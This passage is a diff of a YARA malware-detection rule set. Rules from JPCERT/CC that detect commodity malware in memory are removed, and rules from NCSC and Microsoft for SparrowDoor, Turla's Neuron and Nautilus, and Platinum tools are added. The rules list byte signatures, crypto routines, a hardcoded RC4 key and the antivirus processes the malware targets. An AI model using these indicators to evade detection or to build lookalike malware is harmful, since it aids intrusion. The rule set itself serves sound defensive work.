+		$str2 = "reuse possible: %c"
+		$str3 = "] => %d%%\x0a"
 
 	condition:
-		$a1 or ($b1 and 3 of ($c*)) or (5 of ($c*)) or ($b1 and all of ($d*)) or all of ($e*) or all of ($f*)
+		$str1 and $str2 and $str3
 }
-rule JPCERTCC_Emotet_1
+rule MICROSOFT_Trojan_Win32_Plakpeer : PLATINUM
 {
 	meta:
-		description = "detect Emotet in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "f1cb5e3e-069d-54bb-829d-2ff4aa80e2bb"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L160-L176"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "32f6c25f324eb9f79b8f0b4bc37d648ed95d6347712208f13f74584ee164dc4f"
+		description = "Zc tool v2"
+		author = "Microsoft"
+		id = "e573279b-4a7b-5e15-8ab2-a77cd98a8b6e"
+		date = "2016-04-12"
+		modified = "2016-12-21"
+		reference = "https://www.threatminer.org/report.php?q=Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf&y=2016"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/Microsoft/Platinum.yara#L394-L414"
+		license_url = "N/A"
+		hash = "2155c20483528377b5e3fde004bb604198463d29"
+		logic_hash = "cc34ce9f12c95133872783090efd5813d3e2f44a1c726d29b2ba834509c9a1d5"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
+		tags = "PLATINUM"
+		unpacked_sample_sha1 = "dc991ef598825daabd9e70bac92c79154363bab2"
+		activity_group = "Platinum"
+		version = "1.0"
 
 	strings:
-		$v4a = { BB 00 C3 4C 84 }
-		$v4b = { B8 00 C3 CC 84 }
-		$v5a = { 6D 4E C6 41 33 D2 81 C1 39 30 00 00 }
-		$v6a = { C7 40 20 ?? ?? ?? 00 C7 40 10 ?? ?? ?? 00 C7 40 0C 00 00 00 00 83 3C CD ?? ?? ?? ?? 00 74 0E 41 89 48 ?? 83 3C CD ?? ?? ?? ?? 00 75 F2 }
-		$v7a = { 6A 06 33 D2 ?? F7 ?? 8B DA 43 74 }
-		$v7b = { 83 E6 0F 8B CF 83 C6 04 50 8B D6 E8 ?? ?? ?? ?? 59 6A 2F 8D 3C 77 58 66 89 07 83 C7 02 4B 75 }
+		$str1 = "@@E0020(%d)" wide
+		$str2 = /exit.{0,3}@exit.{0,3}new.{0,3}query.{0,3}rcz.{0,3}scz/ wide
+		$str3 = "---###---" wide
+		$str4 = "---@@@---" wide
 
 	condition:
-		all of ($v4*) or $v5a or $v6a or all of ($v7*)
+		$str1 and $str2 and $str3 and $str4
 }
-rule JPCERTCC_Smokeloader_1
+/*
+ * YARA Rule Set
+ * Repository Name: NCSC
+ * Repository: https://github.com/mikesxrs/Open-Source-YARA-rules
+ * Retrieval Date: 2024-09-01
+ * Git Commit: ec0056f767db98bf6d5fd63877ad51fb54d350e9
+ * Number of Rules: 17
+ * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+rule NCSC_Sparrowdoor_Config : FILE
 {
 	meta:
-		description = "detect SmokeLoader in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "19666821-1fe9-50e7-958e-22f2260099aa"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "https://www.cert.pl/en/news/single/dissecting-smoke-loader/"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L178-L191"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "11b7a297d3dcacba57de9b04a6d126970c2be9d5551f7976ac8129b0afbc9bfd"
+		description = "Targets the XOR encoded loader config and shellcode in the file libhost.dll using the known position of the XOR key."
+		author = "NCSC"
+		id = "16eec5b6-c77a-585d-88f3-2c86abdbf2bd"
+		date = "2022-02-28"
+		modified = "2022-07-06"
+		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_config.yar#L1-L14"
+		license_url = "N/A"
+		logic_hash = "bd52496b6e7cabc875a277ce7d49f6b891c3f61591edef295dbee43716c15509"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
-
-	strings:
-		$a1 = { B8 25 30 38 58 }
-		$b1 = { 81 3D ?? ?? ?? ?? 25 00 41 00 }
-		$c1 = { C7 ?? ?? ?? 25 73 25 73 }
+		tags = "FILE"
+		hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
 
 	condition:
-		$a1 and $b1 and $c1
+		( uint16(0)!=0x5A4D) and ( uint16(0)!=0x8b55) and ( uint32(0)^ uint32(0x4c)==0x00) and ( uint32(0)^ uint32(0x34)==0x00) and ( uint16(0)^ uint16(0x50)==0x8b55)
 }
-rule JPCERTCC_Hawkeye
+rule NCSC_Sparrowdoor_Xor
 {
 	meta:
-		description = "detect HawkEye in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "fc988aaf-bdac-5a53-a90c-d35d86285cd6"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L259-L272"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "45256e1e56de3934d2e57a7c036d49a0f56c25538ed7ad3eb7ee8efa7f549e98"
+		description = "Highlights XOR routines in SparrowDoor. No MZ/PE match as the backdoor has no header. Targeting in memory."
+		author = "NCSC"
+		id = "9c07feea-91fc-528e-91ac-14d09fa1fc10"
+		date = "2022-02-28"
+		modified = "2022-07-06"
+		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_xor.yar#L1-L14"
+		license_url = "N/A"
+		logic_hash = "3244e9017e5a0bf1c54e03b3191a5c695b2c1586b3ed4c529742f9b48903a348"
 		score = 75
 		quality = 80
 		tags = ""
-		rule_usage = "memory scan"
+		hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
 
 	strings:
-		$hawkstr1 = "HawkEye Keylogger" wide
-		$hawkstr2 = "Dear HawkEye Customers!" wide
-		$hawkstr3 = "HawkEye Logger Details:" wide
+		$xor_routine_outbound = {B8 39 8E E3 38 F7 E1 D1 EA 8D 14 D2 8B C1 2B C2 8A [4] 00 30 14 39 41 3B CE}
+		$xor_routine_inbound = {B8 25 49 92 24 F7 E1 8B C1 2B C2 D1 E8 03 C2 C1 E8 02 8D 14 C5 [4] 2B D0 8B C1 2B C2}
+		$xor_routine_config = {8B D9 83 E3 07 0F [6] 30 18 8D 1C 07 83 E3 07 0F [6] 30 58 01 8D 1C 28 83 E3 07 0F [6] 30 58 02 8D 1C 02 83 E3 07 0F [6] 30 58 03 8B DE 83 E3 07 0F [6] 30 58 04 83 C6 05 83 C1 05}
 
 	condition:
-		all of them
+		2 of them
 }
-rule JPCERTCC_Lokibot
+rule NCSC_Sparrowdoor_Strings
 {
 	meta:
-		description = "detect Lokibot in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "12e8469b-83e9-5f93-a543-1c2efb4d303a"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L274-L288"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "3d2db6acb565d705ba26acb7f75be24096ab619a03726f4898391bfe5944bc46"
+		description = "Strings that appear in SparrowDoor’s backdoor. Targeting in memory."
+		author = "NCSC"
+		id = "6f96a577-fb59-57db-a66a-f514ecfbf982"
+		date = "2022-02-28"
+		modified = "2022-07-06"
+		reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_strings.yar#L1-L23"
+		license_url = "N/A"
+		logic_hash = "65ec5d266ecd81ab8e4cfbcb352173f825bdae92fd4737b577cb209bace2a943"
 		score = 75
 		quality = 80
 		tags = ""
-		rule_usage = "memory scan"
-		hash1 = "6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c"
+		hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f"
 
 	strings:
-		$des3 = { 68 03 66 00 00 }
-		$param = "MAC=%02X%02X%02XINSTALL=%08X%08X"
-		$string = { 2d 00 75 00 00 00 46 75 63 6b 61 76 2e 72 75 00 00}
+		$reg = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
+		$http_headers = {55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 35 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 35 2E 30 29 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 65 6E 2D 55 53 0D 0A 41 63 63 65 70 74 3A 20 2A 2F 2A 0D 0A}
+		$http_proxy = "HTTPS=HTTPS://%s:%d" ascii
+		$debug = "SeDebugPrivilege" ascii
+		$av1 = "avp.exe" ascii
+		$av2 = "ZhuDongFangYu.exe" ascii
+		$av3 = "egui.exe" ascii
+		$av4 = "TMBMSRV.exe" ascii
+		$av5 = "ccSetMgr.exe" ascii
+		$clipshot = "clipshot" ascii
+		$ComSpec = "ComSpec" ascii
+		$export = "curl_easy_init" ascii
 
 	condition:
-		all of them
+		10 of them
 }
-rule JPCERTCC_Bebloh
+rule NCSC_Neuron_Common_Strings : FILE
 {
 	meta:
-		description = "detect Bebloh(a.k.a. URLZone) in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "7c3decb2-9cb5-5569-bab2-982c769ee233"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L290-L304"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "22b8ae9d40d34f83d8cc6c2dab56a866c8de8c9cc38b5da962c7071302f91f03"
+		description = "Rule for detection of Neuron based on commonly used strings"
+		author = "NCSC UK"
+		id = "b0f12276-300c-537e-b495-a06c97deccd7"
+		date = "2018-02-06"
+		modified = "2018-02-06"
+		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L1-L23"
+		license_url = "N/A"
+		hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+		logic_hash = "ac5926d6173f291e7907a2ced61c9968660d24fdd28ed3dca097567040b059e3"
 		score = 75
-		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
+		quality = 55
+		tags = "FILE"
 
 	strings:
-		$crc32f = { b8 EE 56 0b ca }
-		$dga = "qwertyuiopasdfghjklzxcvbnm123945678"
-		$post1 = "&vcmd="
-		$post2 = "?tver="
+		$strServiceName = "MSExchangeService" ascii
+		$strReqParameter_1 = "cadataKey" wide
+		$strReqParameter_2 = "cid" wide
+		$strReqParameter_3 = "cadata" wide
+		$strReqParameter_4 = "cadataSig" wide
+		$strEmbeddedKey = "PFJTQUtleVZhbHVlPjxNb2R1bHVzPnZ3WXRKcnNRZjVTcCtWVG9Rb2xuaEVkMHVwWDFrVElFTUNTNEFnRkRCclNmclpKS0owN3BYYjh2b2FxdUtseXF2RzBJcHV0YXhDMVRYazRoeFNrdEpzbHljU3RFaHBUc1l4OVBEcURabVVZVklVbHlwSFN1K3ljWUJWVFdubTZmN0JTNW1pYnM0UWhMZElRbnl1ajFMQyt6TUhwZ0xmdEc2b1d5b0hyd1ZNaz08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+" wide
+		$strDefaultKey = "8d963325-01b8-4671-8e82-d0904275ab06" wide
+		$strIdentifier = "MSXEWS" wide
+		$strListenEndpoint = "443/ews/exchange/" wide
+		$strB64RegKeySubstring = "U09GVFdBUkVcTWljcm9zb2Z0XENyeXB0b2dyYXBo" wide
+		$strName = "neuron_service" ascii
+		$dotnetMagic = "BSJB" ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $dotnetMagic and 6 of ($str*)
 }
-rule JPCERTCC_Xxmm
+rule NCSC_Neuron_Standalone_Signature : FILE
 {
 	meta:
-		description = "detect xxmm in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "be459cbf-84a1-539e-b0b5-b7a00b6d278d"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L306-L319"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "4a860ac3efb97ce03fa906c2d0e7cd08654f6e82531d9449af7891be83a036d5"
+		description = "Rule for detection of Neuron based on a standalone signature from .NET metadata"
+		author = "NCSC UK"
+		id = "e0be2fe2-32fd-5bdf-bfac-a596264be7ba"
+		date = "2018-02-06"
+		modified = "2018-02-06"
+		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L25-L37"
+		license_url = "N/A"
+		hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+		logic_hash = "a0d8d7e834fb07c22951ea4a31bf507e0c3d471e7cd500b60096f5e09844b452"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
+		tags = "FILE"
 
 	strings:
-		$v1 = "setupParameter:"
-		$v2 = "loaderParameter:"
-		$v3 = "parameter:"
+		$a = {eb073d151231011234080e12818d1d051281311d1281211d1281211d128121081d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281}
+		$dotnetMagic = "BSJB" ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and all of them
 }
-rule JPCERTCC_Azorult_1
+rule NCSC_Neuron_Functions_Classes_And_Vars : FILE
 {
 	meta:
-		description = "detect Azorult in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "c73a007c-4d5f-5504-9635-9bffe1282aef"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L321-L334"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "158d65dcd8f3ce8fe4ab2d9bcc97edf585c1d665cc54e1e4969ef83c8103a149"
+		description = "Rule for detection of Neuron based on .NET function, variable and class names"
+		author = "NCSC UK"
+		id = "6c785b63-637b-5343-b839-0b482cfc9cf6"
+		date = "2018-02-06"
+		modified = "2018-02-06"
+		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L39-L66"
+		license_url = "N/A"
+		hash = "d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29"
+		logic_hash = "2e378af2ddb15ed1285eafecee1075caf958c7ff470608801c49c951e044d912"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
+		tags = "FILE"
 
 	strings:
-		$v1 = "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)"
-		$v2 = "http://ip-api.com/json"
-		$v3 = { c6 07 1e c6 47 01 15 c6 47 02 34 }
+		$class1 = "StorageUtils" ascii
+		$class2 = "WebServer" ascii
+		$class3 = "StorageFile" ascii
+		$class4 = "StorageScript" ascii
+		$class5 = "ServerConfig" ascii
+		$class6 = "CommandScript" ascii
+		$class7 = "MSExchangeService" ascii
+		$class8 = "W3WPDIAG" ascii
+		$func1 = "AddConfigAsString" ascii
+		$func2 = "DelConfigAsString" ascii
+		$func3 = "GetConfigAsString" ascii
+		$func4 = "EncryptScript" ascii
+		$func5 = "ExecCMD" ascii
+		$func6 = "KillOldThread" ascii
+		$func7 = "FindSPath" ascii
+		$var1 = "CommandTimeWait" ascii
+		$dotnetMagic = "BSJB" ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $dotnetMagic and 6 of them
 }
-rule JPCERTCC_Poisonivy
+rule NCSC_Nautilus_Modified_Rc4_Loop : FILE
 {
 	meta:
-		description = "detect PoisonIvy in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "e7b27a88-490f-5f79-9e8c-65b8f7505a72"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L336-L349"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "dec7a95c877078f77cbcdcf8646680f6f1d55d438af98e519d13461a7854b095"
+		description = "Rule for detection of Nautilus based on assembly code for a modified RC4 loop"
+		author = "NCSC UK"
+		id = "0c5da057-0f1d-5852-ad75-94bf40c133e4"
+		date = "2018-02-06"
+		modified = "2018-02-06"
+		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L68-L79"
+		license_url = "N/A"
+		hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+		logic_hash = "58673db1d995ac2fed1eefa8baab426558bb9d46b239cdc8715d41925d5f4657"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
+		tags = "FILE"
 
 	strings:
-		$a1 = { 0E 89 02 44 }
-		$b1 = { AD D1 34 41 }
-		$c1 = { 66 35 20 83 66 81 F3 B8 ED }
+		$a = {42 0F B6 14 04 41 FF C0 03 D7 0F B6 CA 8A 14 0C 43 32 14 13 41 88 12 49 FF C2 49 FF C9}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $a
 }
-rule JPCERTCC_Netwire
+rule NCSC_Nautilus_Rc4_Key : FILE
 {
 	meta:
-		description = "detect netwire in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "cf71b80f-2618-5209-bb49-fefea9e0a7f3"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L351-L367"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "fa6ec967b6b3de226dcdb06d6b8f684800331a2420f038dd6274a8b9c3d8be78"
+		description = "Rule for detection of Nautilus based on a hardcoded RC4 key"
+		author = "NCSC UK"
+		id = "124c8b95-46fb-5cc1-9b10-b10536e1781d"
+		date = "2018-02-06"
+		modified = "2018-02-06"
+		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L81-L92"
+		license_url = "N/A"
+		hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+		logic_hash = "215c0a20b3793411eea3cbf85a2e5ada8ce6b1f5aa8d84fc468a354c53df2b0c"
 		score = 75
-		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
+		quality = 78
+		tags = "FILE"
 
 	strings:
-		$v1 = "HostId-%Rand%"
-		$v2 = "mozsqlite3"
-		$v3 = "[Scroll Lock]"
-		$v4 = "GetRawInputData"
-		$ping = "ping 192.0.2.2"
-		$log = "[Log Started] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]"
+		$key = {31 42 31 34 34 30 44 39 30 46 43 39 42 43 42 34 36 41 39 41 43 39 36 34 33 38 46 45 45 41 38 42}
 
 	condition:
-		($v1) or ($v2 and $v3 and $v4) or ($ping and $log)
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $key
 }
-rule JPCERTCC_Nanocore
+rule NCSC_Nautilus_Common_Strings : FILE
 {
 	meta:
-		description = "detect Nanocore in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "0b12ad94-99c2-5d48-a860-ff75b82971af"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L369-L382"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "471dcda6f5fb9c30e3a1df7171fdba889114d54166d038d18c7910e2765d5250"
+		description = "Rule for detection of Nautilus based on common plaintext strings"
+		author = "NCSC UK"
+		id = "0e3af6ef-1a97-5324-a186-95e6f3d836f4"
+		date = "2018-02-06"
+		modified = "2018-02-06"
+		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L94-L110"
+		license_url = "N/A"
+		hash = "a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3"
+		logic_hash = "28d664018e396d48928678de35ea95148ca1c6579efcb832c50606f43089a862"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
+		tags = "FILE"
 
 	strings:
-		$v1 = "NanoCore Client"
-		$v2 = "PluginCommand"
-		$v3 = "CommandType"
+		$ = "nautilus-service.dll" ascii
+		$ = "oxygen.dll" ascii
+		$ = "config_listen.system" ascii
+		$ = "ctx.system" ascii
+		$ = "3FDA3998-BEF5-426D-82D8-1A71F29ADDC3" ascii
+		$ = "C:\\ProgramData\\Microsoft\\Windows\\Caches\\{%s}.2.ver0x0000000000000001.db" ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and 3 of them
 }
-rule JPCERTCC_Formbook_1
+rule NCSC_Neuron2_Loader_Strings : FILE
 {
 	meta:
-		description = "detect Formbook in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "71291f9b-eb8e-55e5-a499-df54c35efdbf"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L384-L397"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "62bd3717af8970f67f28d923ce2483ff55a5ef4585a183d4d510e3a2c45fcc8c"
+		description = "Rule for detection of Neuron2 based on strings within the loader"
+		author = "NCSC"
+		id = "eaef4710-1971-55a2-9079-07a9b8bd86eb"
+		date = "2018-02-06"
+		modified = "2018-02-06"
+		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L130-L146"
+		license_url = "N/A"
+		hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927"
+		logic_hash = "c873eaf6f00ea1ee7d86dad451b997d4c8c45c27ac07c3a222b57b5dc203a810"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
+		tags = "FILE"
 
 	strings:
-		$sqlite3step = { 68 34 1c 7b e1 }
-		$sqlite3text = { 68 38 2a 90 c5 }
-		$sqlite3blob = { 68 53 d8 7f 8c }
+		$ = "dcom_api" ascii
+		$ = "http://*:80/OWA/OAB/" ascii
+		$ = "https://*:443/OWA/OAB/" ascii
+		$ = "dcomnetsrv.cpp" wide
+		$ = "dcomnet.dll" ascii
+		$ = "D:\\Develop\\sps\\neuron2\\x64\\Release\\dcomnet.pdb" ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and 2 of them
 }
-rule JPCERTCC_Agenttesla_Type1
+rule NCSC_Neuron2_Decryption_Routine : FILE
 {
 	meta:
-		description = "detect Agenttesla in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "92bfb3ab-d8d0-50ec-8ab8-ad34f1edb906"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L399-L411"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "24b9b815400967a9086048527f7aa1fce08bcd94a16aec8080aeac97045b297a"
+		description = "Rule for detection of Neuron2 based on the routine used to decrypt the payload"
+		author = "NCSC"
+		id = "6fa43865-f970-57c0-81c7-e9c851e9453c"
+		date = "2018-02-06"
+		modified = "2018-02-06"
+		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L148-L159"
+		license_url = "N/A"
+		hash = "51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927"
+		logic_hash = "27a9de186dd1a91e3e3c18a786e5604e46e8d2f6364d76fa441bff15eb1aed84"
 		score = 75
 		quality = 80
-		tags = ""
-		rule_usage = "memory scan"
+		tags = "FILE"
 
 	strings:
-		$iestr = "C:\\\\Users\\\\Admin\\\\Desktop\\\\IELibrary\\\\IELibrary\\\\obj\\\\Debug\\\\IELibrary.pdb"
-		$atstr = "C:\\\\Users\\\\Admin\\\\Desktop\\\\ConsoleApp1\\\\ConsoleApp1\\\\obj\\\\Debug\\\\ConsoleApp1.pdb"
-		$sqlitestr = "Not a valid SQLite 3 Database File" wide
+		$ = {81 FA FF 00 00 00 0F B6 C2 0F 46 C2 0F B6 0C 04 48 03 CF 0F B6 D1 8A 0C 14 8D 50 01 43 32 0C 13 41 88 0A 49 FF C2 49 83 E9 01}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and all of them
 }
-rule JPCERTCC_Agenttesla_Type2 : FILE
+rule NCSC_Neuron2_Dotnet_Strings : FILE
 {
 	meta:
-		description = "detect Agenttesla in memory"
-		author = "JPCERT/CC Incident Response Group"
-		id = "6a0b8075-4a7a-56e8-99d2-794340fd1f8b"
-		date = "2021-08-16"
-		modified = "2021-08-16"
-		reference = "internal research"
-		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L413-L427"
-		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
-		logic_hash = "22f0a7e8f542aa1861f580a2ec3fb2b58ff0ac5d1c606ced0d207a3c350c3633"
+		description = "Rule for detection of the .NET payload for Neuron2 based on strings used"
+		author = "NCSC"
+		id = "a36e4009-e1a1-520a-9397-8b6f2ad4065a"
+		date = "2018-02-06"
+		modified = "2018-02-06"
+		reference = "https://www.ncsc.gov.uk/alerts/turla-group-malware"
+		source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/turla_neuron_nautilus.yar#L161-L176"
+		license_url = "N/A"
